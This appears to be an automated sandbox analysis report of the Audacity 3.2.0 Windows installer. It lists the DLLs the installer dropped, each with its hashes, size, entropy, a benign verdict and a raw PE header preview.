SHA-512:	E9FAA84843086985E03FCAC7564146550432FB1D5AE438B9A5991007F6E8C6C5404EC7736897E7D3795185293B39FACF7F70434F5D10DCE947EB811AF2FE7D7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k.(...{...{...{.r0{...{.q.z...{.q.z...{.q.z...{.q.z...{Rx.z...{.s.z...{.q.z...{...{...{.q.z...{.q.z...{.q\{...{.q.z...{Rich...{........................PE..d...q.,c.........." ...!.....0............................................... ...........`.............................................y]............................../..............8................... ...(.......@............................................text...f........................... ..`.rdata..............................@..@.data........p.......T..............@....pdata...............d..............@..@.idata.../.......0...z..............@..@.tls................................@....00cfg..u...........................@..@.rsrc...............................@..@.reloc..W...........................@..B................................................................................................

C:\Program Files\Audacity\is-DEMF3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	217576
Entropy (8bit):	5.401974425177721
Encrypted:	false
SSDEEP:	3072:H90pVhxUps8PpwA2it1q4hq+j9zhdrFCsnR58TUd3Xnh0:H9WPxUps8P+hit11zhnvv8Qd3XnK
MD5:	F60CF8FABBB3F5E0160546505B31F15D
SHA1:	6F59F5900FDC7B7698595CDF2095DADD6F2D6C86
SHA-256:	C178FDBD506EF86C3469E8C3FF75734417CFCE6EE679908B26777B199350B50A
SHA-512:	A21E6C45241092864FFFB736DF7E85190DCD33A1FC492E8AF63DCB90F5FACF1AC83E247F46586DBE7DAB992FF600E2023F404A62C492112C1DED534F9542C587
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h..T,...,...,...%.D.$.......$.......(.......6.......*.......................+...,...Q......./.......-.....(.-.......-...Rich,...........................PE..d.....,c.........." ...!.6...........................................................V....`.............................................`....(.......p...............".../......,...`p..8................... v..(....n..@............ ...............................text...W4.......6.................. ..`.rdata..@....P.......:..............@..@.data...............................@....pdata..P...........................@..@.idata..y&... ...(..................@..@.tls.........P......................@....00cfg..u....`......................@..@.rsrc........p......................@..@.reloc..............................@..B................................................................................................

C:\Program Files\Audacity\is-E63DL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	79336
Entropy (8bit):	4.6476692504043635
Encrypted:	false
SSDEEP:	768:r2H1Ran2geUZ82PG5OW/wIUa26bogEinmkEYXw:SDOhWWgEinlXw
MD5:	5028BF3300E5A9A8B0075A7AA05AEE7F
SHA1:	C42B44CE3A83E475B22BBD749A8B23C4D78D2885
SHA-256:	3B9A79013950F8FE7DD0963A3ADF0495AA611B04D4D3873E58D48931A8C37843
SHA-512:	3DB1E223F502F72DB614D59BA348E7485A3594D0370F62F28095453596824C937D649E186955ED93A2A535BCA9EE86D675EB03BA4682B1C4A342DB254DC7303F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q...5..5..5..<...1......!......=......6......3....7......6..5.........4......4....a.4......4..Rich5..................PE..d..._.,c.........." ...!.....................................................p...........`..........................................................P..<................/...`..........8.......................(... ...@............................................text...O........................... ..`.rdata...9.......:..................@..@.data...............................@....pdata..............................@..@.idata..e...........................@..@.tls.........0......................@....00cfg..u....@......................@..@.rsrc...<....P......................@..@.reloc.......`......................@..B................................................................................................................

C:\Program Files\Audacity\is-EE795.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	106472
Entropy (8bit):	4.759764684156474
Encrypted:	false
SSDEEP:	768:oMKDTNuHWHWHbezSGLBd/qaYqYX+aKPV0A8nmkEYXteq:oFD7SMBVqZfC0LnlXteq
MD5:	7175B6D2A2543A4FF04394AB8958DC22
SHA1:	C8B9FB678A84BE486A8CA7818806C969C78E1916
SHA-256:	20D415167846DE16CA9BF1298ADE600B33CC0ABB1AB2B6F4406E8BE56EC362F6
SHA-512:	0994D95CA965D8FAA86D7B3A3F44525B909D5B7425624E08B6772508524B2C9B58C85F6A201B36B25621F4D1B7945119E232E674FCFDE46926F733D7D7BD90AF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................P....v......v.......v.......v......%.......u.......x.............x.......x.......x.<.....x.......Rich............................PE..d.....,c.........." ...!..................................................................`..........................................%.......x..@............`.......p.../......\|...p...8...............................@............p...............................text...R........................... ..`.rdata...J.......L..................@..@.data....&...0......................@....pdata.......`.......2..............@..@.idata...'...p...(...<..............@..@.00cfg..u............d..............@..@.rsrc................f..............@..@.reloc..0............l..............@..B........................................................................................................................................

C:\Program Files\Audacity\is-EGO60.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	187312
Entropy (8bit):	6.543851526562827
Encrypted:	false
SSDEEP:	3072:sYRRZqoOwZfxWsy0f8FM0YGal4cxFL24T7bMXm1cF9cr70z5ThmdrVZt:swfqoIuf8q0Y2QFLjbM2Tegdr
MD5:	27816FB67FB85A331AAAC2929D7D9C53
SHA1:	8730FD669EEACAD5325D3D4BA4E08E563FE7B504
SHA-256:	EE22B3403268CBAC3F280F1A49A7FA285C0D01DA601F6914D6FE6AAC43068EFA
SHA-512:	E3D0C7B7C2C564DF482034E075F967115CA87B7EB9675CC61D741D27F6058E42835041F058D7FBB18573EA21A1FB1BA6ABF41DE81194128157473C0DFFD04B7E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".C.f.-.f.-.f.-...,.d.-.o...j.-...).n.-.....e.-.f.,...-...,.a.-...(.s.-...-.g.-....g.-.../.g.-.Richf.-.........PE..d.....;..........." ... ..................................................................`A................................................X............................'...........M..p............................K..@...............P............................text...+........................... ..`.rdata..6...........................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Program Files\Audacity\is-EPTFT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	105960
Entropy (8bit):	5.248363360171804
Encrypted:	false
SSDEEP:	1536:SmfzsiTt6Oh7zOQf4Ezz8cH6j2ora7mdrnlX2tz:BzTUJo/7H+2ouqdrnh2x
MD5:	A9B022AA025CF905C47B7B8B5E9D0882
SHA1:	F5B1A647D3979154C9E991CB18259BF437B80230
SHA-256:	D7C73B5FA1EDDAD4CAB123A1BC8FD16254102D4B1B349FE49572A6E9E01E0308
SHA-512:	5FD918BB52FC55CC837831BA9DF3095DB13DBBBE1423D5374363DD85AA34916A5C7969E83E7CC5A207FB316EFACDEE8AA083F626DD0AE084730CD92618EA2A24
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8..^\|.l.\|.l.\|.l.u...x.l...i.j.l...h.t.l...o...l...m.z.l...m.~.l...m.~.l...m.y.l.\|.m.J.l...i.y.l...l.}.l....}.l...n.}.l.Rich\|.l.................PE..d.....,c.........." ...!.................................................................`..........................................8.......u...............`..`....n.../..........@...8...............................@............p...............................text............................... ..`.rdata...F.......H..................@..@.data........P.......<..............@....pdata..\|....`.......B..............@..@.idata..G....p.......N..............@..@.00cfg..u............b..............@..@.rsrc................d..............@..@.reloc..G............j..............@..B................................................................................................................................................

C:\Program Files\Audacity\is-GAK9A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	418792
Entropy (8bit):	6.01845774139695
Encrypted:	false
SSDEEP:	6144:z8vUASGhdI/DswzPrJSNhGInUAR1xdiU+nH27GfIf55eF3BIeDXsp4nP:z8vUxGI/DswzPN89gbA5cPIeDXDP
MD5:	3B2F19088AAA4BA330183E80865D8903
SHA1:	74F099FE7EDACBEDB0C0EE8C9C1EC4E1067682B7
SHA-256:	80894507E364F81E2F7F6EE15C03FD73561CE22DBDAB4B4D92EA03FDE73E35F2
SHA-512:	5C5F9D64C8B22F92838B83484D828D1C40FB0ED6526EA4703A4C2549EB3D5D2EFD786D65D8544B33BA6035D70E30F298F1E29B26E1F004C27ED8D9F435551096
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........CH?."&l."&l."&l.Z.l."&l.Z'm."&l.Z.l."&l.Z#m."&l.Z"m."&l.Z%m."&l-R'm."&l."'l."&l.X"m."&l."&l."&l.X&m."&l.X.l."&l.X$m."&lRich."&l........PE..d......b.........." ... .....p......#.....................................................`.............................................`...XF..........<.... .......4.../..............8...............................@............@..X............................text...T........................... ..`.rdata..@...........................@..@.data...)...........................@....pdata....... ......................@..@.idata.......@......................@..@.rodata......`......................@..@.00cfg..u....p.......$..............@..@.rsrc...<............&..............@..@.reloc...............,..............@..B................................................................................................................

C:\Program Files\Audacity\is-GCDE1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2260968
Entropy (8bit):	4.801557660845151
Encrypted:	false
SSDEEP:	24576:gUbWniu8FULj/9s6l6gdrMKC5HXeEpOWDkqUNTN6VVBk+IYqzeUDuHWNuC0DeHpI:mhIoHfk
MD5:	29B7DDC8E555EC45B02D9CC3AFBAB940
SHA1:	FF4687E50955530F6E8F4863A5E1D498A9446A8E
SHA-256:	54B93962ABA4E378E783F91C49E78F689B9240663DEC64E92F2933946097B400
SHA-512:	F9C521B9B4A93DF9D245C777FFBEABAFAC0417CF72FEF055AD1392AC4AA77EB86C25BA0D7D735A0EA6650CA6FC5B11B518C556DBE9DB76C0895F7ED9ABACE1BB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............i...i...i.......i.......i.......i.......i.......i..^....i.......i.......i...i...i.......i.......i....w..i.......i..Rich.i..........PE..d.....,c.........." ...!..!..`................................................"......."...`..........................................6".z... e"......."......P"......P"../....".h... .".8.............................".@............`". ............................text...&.!.......!................. ..`.rdata...'...."..(....!.............@..@.data...)....@"......"".............@....pdata..0....P"......(".............@..@.idata..{....`"......0".............@..@.00cfg..u....."......D".............@..@.rsrc........."......F".............@..@.reloc........"......L".............@..B........................................................................................................................................................

C:\Program Files\Audacity\is-H8I8G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	98736
Entropy (8bit):	6.474996871326343
Encrypted:	false
SSDEEP:	1536:BxhUQePlHhR46rXHHGI+mAAD4AeDuXMycecb8i10DWZz:Bvk4wHH+mZD4ADAecb8G1
MD5:	F12681A472B9DD04A812E16096514974
SHA1:	6FD102EB3E0B0E6EEF08118D71F28702D1A9067C
SHA-256:	D66C3B47091CEB3F8D3CC165A43D285AE919211A0C0FCB74491EE574D8D464F8
SHA-512:	7D3ACCBF84DE73FB0C5C0DE812A9ED600D39CD7ED0F99527CA86A57CE63F48765A370E913E3A46FFC2CCD48EE07D823DAFDD157710EEF9E7CC1EB7505DC323A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A.&k..H8..H8..H8.I9..H8...8..H8..I8(.H8e.K9..H8e.L9..H8e.M9..H8e.H9..H8e..8..H8e.J9..H8Rich..H8................PE..d....9............" ... .....`......`.....................................................`A........................................0C..4...dK...............p..p....Z...'...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......B..............@....pdata..p....p.......F..............@..@_RDATA..\............R..............@..@.rsrc................T..............@..@.reloc...............X..............@..B........................................................................................................................................................................................................................

C:\Program Files\Audacity\is-HKD6O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	202216
Entropy (8bit):	5.540382304063624
Encrypted:	false
SSDEEP:	3072:Ej9jZHKhtCU5OPazZdYdpNIeW8NckOS1Th1nhO:KZUtfOPCZdYrNIswA1nA
MD5:	D7F241678FF004B9D971818DB3EF90CE
SHA1:	D6075C0DF42E93EA050C00EBF014D5C9CF0E3D24
SHA-256:	37C0BAB7AF44D7B506C531A9E1166B833724CED46A279F4587500DECB3EDAC17
SHA-512:	50F76EBF1F41FEAF8AF96E04CE3AE27DBFA55C7EA691763BF130C6AE319F19C9EA799060C5E85FF1DD9B6580CCE48BE0EB40698CF014807A903938ECC9CACFDB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..k~.8~.8~.8w.*8t.8..9\|.8..9u.8..9v.8..9}.8...9}.8~.8R.8...9}.8...9..8..F8..8...9..8Rich~.8........PE..d....5.a.........." .....0...................................................0......7[....`.........................................0...................<................/... .......}..8........................... ~..8............................................text..../.......0.................. ..`.rdata...z...@...\|...4..............@..@.data...............................@....pdata..............................@..@.idata..4...........................@..@.00cfg..c...........................@..@.rsrc...<...........................@..@.reloc..R.... ......................@..B........................................................................................................................................................................

C:\Program Files\Audacity\is-HKQ8J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	331240
Entropy (8bit):	5.560555810387514
Encrypted:	false
SSDEEP:	3072:oF71vqhLX7itResu71w6yXc+oIfllHe0EcY6+5nhA:opchTWfess1hE1CTZ5nG
MD5:	A06C06503F9B7577829A7B8FF1B974D7
SHA1:	C0BF0D7ECCCD27A521275929469E5E9467BB0568
SHA-256:	FF94C06F788C115DD127B44D75CDF2B5E97BD4CFB59866F7C9AB05393F93DDFE
SHA-512:	118F236B03F8B241E70CC071D5045C815B0314A32B37905352E1D6A6DE9FA8FA9FD32EDA8AA985D75F36A355CE1498839B995D4767FC31B54B728E78635CC835
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z..T..t...t...t.......t...p...t...w...t...q...t...u...t..u...t...u...t...u...t...u.c.t...q...t...t...t.......t...v...t.Rich..t.........PE..d.....,c.........." ...!............A........................................@............`................................................X...h.... ...........$......./...0..\|...."..8....................(..(....!..@...............X............................text............................... ..`.rdata...h.......j..................@..@.data...Y!...p.......Z..............@....pdata..p).......*...r..............@..@.idata..O-..........................@..@.tls................................@....00cfg..u...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................

C:\Program Files\Audacity\is-IOAI2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	118760
Entropy (8bit):	4.936331422694148
Encrypted:	false
SSDEEP:	1536:ZumdOBSsOwRwyy/yR8/f7HfUQJtJ4FSRtnlXm:crBhOwRwyyLLcQ3Rtnhm
MD5:	4ED1FFE023C307E13C05B0672E21A75A
SHA1:	8B83AF12AE211A13FC9330A58C03F7BA83CB5BC8
SHA-256:	3E63B82A218F129430C5C7956FF160BD66F190BD44B0B0F3CA0F2459274CF3D7
SHA-512:	E30A6F0909EB0DBFCA1CA39E8CB4359C7D49FBB309E82359DEE82D8D6A1204CD956EC5E26E13CA3E95A73EF5FD1EC716F797EF64F7E49B14F10D5EA2F872E5DE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........S...2y..2y..2y..J...2y.Jx..2y.J\|..2y.J}..2y.Jz..2y.:Ex..2y.HKx..2y./Bx..2y..2x.R2y.HK\|..2y.HKy..2y.HK...2y..2...2y.HK{..2y.Rich.2y.........................PE..d.....{b.........." .................................................................{....`..........................................R......h...........Y.......d......../...........'..8...........................p&..@...............h............................text............................... ..`.rdata..C\.......^..................@..@.data........p.......V..............@....pdata..\............\..............@..@.idata...'.......(...h..............@..@.00cfg..u...........................@..@.rsrc...Y...........................@..@.reloc..j...........................@..B................................................................................................................................

C:\Program Files\Audacity\is-IU3MP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72168
Entropy (8bit):	4.421509482976633
Encrypted:	false
SSDEEP:	384:FEEN+jxHrmUjVpysr22Q4Y0XukaSNfmMe9/eRcthgx4GGau6BlR979OFIg+3lpwV:KvHKujfmrFKx4UTpOFC8nmkEYXOY
MD5:	C158FF1B1B4A087A190B0B72D585B35B
SHA1:	B76A2D893D263583432F33B80DA8B028C2848778
SHA-256:	7C82E96F1CA03F31F2F695F0264E6D9FF825B837EE3BD6291726F549B39A6F19
SHA-512:	BBDC5EF13FC475D25DF524751E8A2AA5801A12FE389B6B32948EA70498B2F995027497DE02F5093049D168D3C6B6BDDB09DCA2052A649F1269D5619CF36A6F7C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........5.{.f.{.f.{.f..7f.{.f9..g.{.f9..g.{.f9..g.{.f9..g.{.fj..g.{.f:..g.{.f7..g.{.f.{.f.{.f7..g.{.f7..g.{.f7.[f.{.f7..g.{.fRich.{.f........PE..d...[.,c.........." ...!.....b...............................................@....../.....`.......................................................... .................../...0......0...8...............................@............................................text...o........................... ..`.rdata.../.......0..................@..@.data...............................@....pdata..<...........................@..@.idata../...........................@..@.00cfg..u...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................

C:\Program Files\Audacity\is-J5UM8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	315880
Entropy (8bit):	5.399774423370916
Encrypted:	false
SSDEEP:	6144:h2C9uwKCGp66BDCfRii3iUx9g34eQ0M7H21Z3sZoVGAvYNne:QC99KCF3jH21JAQce
MD5:	5F59492FEFA0BCFFA28C48ECE61D982A
SHA1:	834F63D8782F0CFFDFE718CA98F00BE2F2751B7D
SHA-256:	9BFA4054481DBFE089D4CD47AF2BCB908CACF2480298FF5460AF2FD7B4A16ACC
SHA-512:	C72A8119E5AC7A895274D6304BC696E78989E9A8BE40128BF30A0523A9EB4F7B9AAD1170FB8F1EBD6A81CDD40E7B7C20267F6EF7EE20CE260D3B634FCF28CE09
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z#..>B.A>B.A>B.A7:.A6B.A.9.@6B.A.9.@=B.A.9.@$B.A.9.@8B.A.0.@<B.A.;.@<B.A.9.@1B.A>B.AwC.A.9.@7B.A.9.@?B.A.9oA?B.A.9.@?B.ARich>B.A........................PE..d.....,c.........." ...!............<.....................................................`.........................................`...6F...q..T............0.. ......../..........P...8................... 4..(....,..@............`...............................text............................... ..`.rdata..............................@..@.data....$..........................@....pdata... ...0..."..................@..@.idata..[a...`...b...,..............@..@.tls................................@....00cfg..u...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................

C:\Program Files\Audacity\is-JALHN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131560
Entropy (8bit):	5.645139351187392
Encrypted:	false
SSDEEP:	1536:rx6o0Y8RrdWtxrXBRr0ZclfoSf5/jNF4EircMzHwvnlXs:rx6138/rc+foA7NircMzwvnhs
MD5:	3EDABA20090B3BF72F7D100C7F7D9D98
SHA1:	4DC6BB35CD874057237537359F1423F64CBA389E
SHA-256:	09BD4DE641A190625C534BA32A74BAD4F6CDCCEA9AA89942A5A16E724A9280B8
SHA-512:	8D5B609167155377F866D4129F863E416C11FCB709E9801801B359BDCE713D42EE5545895A6C70D52E5923FE3E525FCF8820517D3FD266CE790C6AEE8985A271
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........z..)..)..)..)..)M..(..)M..(..)M..(..)M..(..)...(..)N..(..)..)..)C..(..)C..(..)C.g)..)C..(..)Rich..)........PE..d...].,c.........." ...!..................................................... ...........`............................................................................./...........x..8............................v..@............................................text............................... ..`.rdata.......0......................@..@.data...............................@....pdata..$...........................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...............................@..@.reloc..z...........................@..B................................................................................................................................................................

C:\Program Files\Audacity\is-JO5BM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	78312
Entropy (8bit):	4.917179380334017
Encrypted:	false
SSDEEP:	384:QRRYHr/pvBXqrBbzdMMXkBgoTBSO6FzqKlop0y9UwDcn3LWuZDBy4dgXe1FgOr/2:pHnIg9U6ELpn1qACRFYnmkEYXRDy
MD5:	D5028BD6978B61E0EE8F28C28ACDCB6E
SHA1:	D4568C500A6D5E772A5C023C4D3149E3DDE3FFEC
SHA-256:	15E930FCF90FF47C322A825B425085B842C92B39EC7CBF70CBEB237A7C8D8C30
SHA-512:	6B7F088F0E5D647AD2139DE0F54D2A255F543F39A2B6B0B80247B02A49F390202929C5EA3B64C7E5D5644F5354E258F2A71953E3BD5C7655B7D53A4529010CF1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y...=..=..=..4.{.9....(....5....>....;....?....?....8..=..e....>....<.....<....<..Rich=..........................PE..d...e.,c.........." ...!.....~...............................................`......;.....`............................................._...H........@.................../...P..........8...............................@...............H............................text............................... ..`.rdata..?:.......<..................@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................

C:\Program Files\Audacity\is-K3IU2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	707048
Entropy (8bit):	3.24844142402871
Encrypted:	false
SSDEEP:	12288:n2RckcQ2VKQxHsyz8Bd5aON5IM3NX5u3YcoI:2RckcQ2VKQxHsyzEd5aON5IM3NXahoI
MD5:	E030B6191941E62C20FEF23C122CAE39
SHA1:	01596411BC03E7029FD10CB0BEF2965F330846AA
SHA-256:	3B2D26E77EF514496F2F72FCAAFD8B44F2B68492912D6E54C0FC6FDF50F21DF1
SHA-512:	DFA570A5D5A90E696B210218AC80440A6AFFB786DC6066375249F18BB85C56FE212238F57C8973811074C821F842DD220B4EF7BCB3AA29360CF29DD517805401
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!..!..!..(.,.%......#......-......&......#.....#......"..!......... ...... ....@. ...... ..Rich!..................PE..d...I7.c.........." ...!.................................................................`..........................................h..-.......x.......<.......0......../......h...@V..8............................T..@............................................text............................... ..`.rdata.............................@..@.data...Y....p.......X..............@....pdata...............Z..............@..@.idata..K............`..............@..@.00cfg..u............l..............@..@.rsrc...<............n..............@..@.reloc..Q$.......&...t..............@..B........................................................................................................................................................

C:\Program Files\Audacity\is-K8GOH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	924648
Entropy (8bit):	5.735330592455405
Encrypted:	false
SSDEEP:	12288:WxNA4hd86f2l2GATIJdgmpmjeu+ssoKVsoDJu//w:ebhvf2l2GAMxpmjvsoKVsoFu//w
MD5:	99DAE8774DEAA49EADE68EC9C2873526
SHA1:	7390EB496A19926633242591BAC09424A62ACDAF
SHA-256:	407D19F9EFF5224D73C73DD31B478657D516B4F81DD1C6E76FA61FEEA8BE7AC2
SHA-512:	21D7D4A6D796D87EA2D8E5A4417EF7D2FCD81805F54512BDF787E4A19D38CF6F4D3F1F131FD69C7A1F60AA95D3BBFFBC8BD7AFC69D15DDEC1AC72789906FCC87
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........=...SU..SU..SU...U..SU..RT..SU..VT.SU..WT..SU..PT..SU}.RT..SU..RT..SU..RUT.SU}.VT..SU}.ST..SU}.U..SU...U..SU}.QT..SURich..SU........................PE..d.....{b.........." .........z...............................................P............`..............................................p..x...................pS......./... ..........8...........................0...@...............x'...........................text............................... ..`.rdata..B...........................@..@.data...iA...@...&...$..............@....pdata...\.......^...J..............@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...............................@..@.reloc...+... ...,..................@..B........................................................................................................................................

C:\Program Files\Audacity\is-KJ41F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57224
Entropy (8bit):	5.176488316243265
Encrypted:	false
SSDEEP:	768:rHL4+YhCv6vHKOIrHA3X2QLcE1xvHOQ69zl/:3RPSqOqg3X2QLcE1xqzl
MD5:	A2FD4CDCDBB750C519F4AD1ADAE439CC
SHA1:	045C69BFF67CA1FEDFEE941A78AE6464E5BC3A11
SHA-256:	A94B88A257E64514A7E19BBEC522391F2838AC9307D597ADB2D3EAF88F854DE3
SHA-512:	6A75C2D86E58D64011FF15355EDCD213EFBECE764C03F5190056C31031AD73805D04719C496C2D8BFB8B686B1DFF8894E559C9B10C560A469779863FC682671C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z5...T.P.T.P.T.P.&.Q.T.P.,NP.T.P~..Q.T.P~..Q.T.P.T.P{T.P~..Q.T.P~..Q.T.P~..Q.T.P~."P.T.P~..Q.T.PRich.T.P........................PE..d....2............" ... .:...........>.......................................@............`A........................................@f..D....k....... ..........P........'...0..\|...pX..p...........................0W..@............P..H............................text...^9.......:.................. ..`.rdata...$...P...&...>..............@..@.data...........B...d..............@....pdata..P...........................@..@.rsrc........ ......................@..@.reloc..\|....0......................@..B................................................................................................................................................................................................................................................

C:\Program Files\Audacity\is-KRBQ3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11484136
Entropy (8bit):	5.764261547659993
Encrypted:	false
SSDEEP:	49152:d/IcwBTgbLIwNH2fIhzWDVN5zCUa1iWrZ0v4Der2k3JKH3jl8j9yqIRjXQMGkEr9:lPPMDJdWrZZRfJIRAOf8iF
MD5:	A21CCB1C9419F6C54381E94DB9B83798
SHA1:	7A12C889FF0A97B44EEF10D9CF82B1D8126F2AED
SHA-256:	F0E73CBC22B5625A7FA231C8618166DD2E9B249BD8C867E056CE7125CBC7DD28
SHA-512:	5BD636E4C5DD98D2334256C0555D436CF9712E9BEEC32194B446CABC90B736090AD66DADB4CF6A6FD96C10870246334D058D02D33AD32E56385BBD841C894F92
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
